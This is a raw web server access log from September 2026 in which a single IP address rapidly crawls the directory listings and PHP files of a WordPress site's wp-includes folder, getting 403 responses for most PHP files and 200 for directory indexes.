45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 200 860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:42 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/version.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/block-supports/ HTTP/1.1" 200 1830 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/cron.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/ms-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/view-config.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-IXR.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/date.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/pomo/ HTTP/1.1" 200 1271 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/SimplePie/ HTTP/1.1" 200 874 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/comment-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/update.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/template-canvas.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/?ND= HTTP/1.1" 200 9299 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/ms-files.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/wp-diff.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/widgets/ HTTP/1.1" 200 1746 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/block-patterns.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:43 -0400] "GET /broadweb.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/l10n.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/css/ HTTP/1.1" 200 2405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/post-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 200 1323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/error-protection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/abilities-api/ HTTP/1.1" 200 907 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-smtp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/feed-rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/theme.json HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/category-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/feed-atom.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/default-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/ai-client/ HTTP/1.1" 200 907 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/?MA= HTTP/1.1" 200 9299 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/block-bindings/ HTTP/1.1" 200 952 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/Requests/ HTTP/1.1" 200 805 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/bookmark.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:44 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:45 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
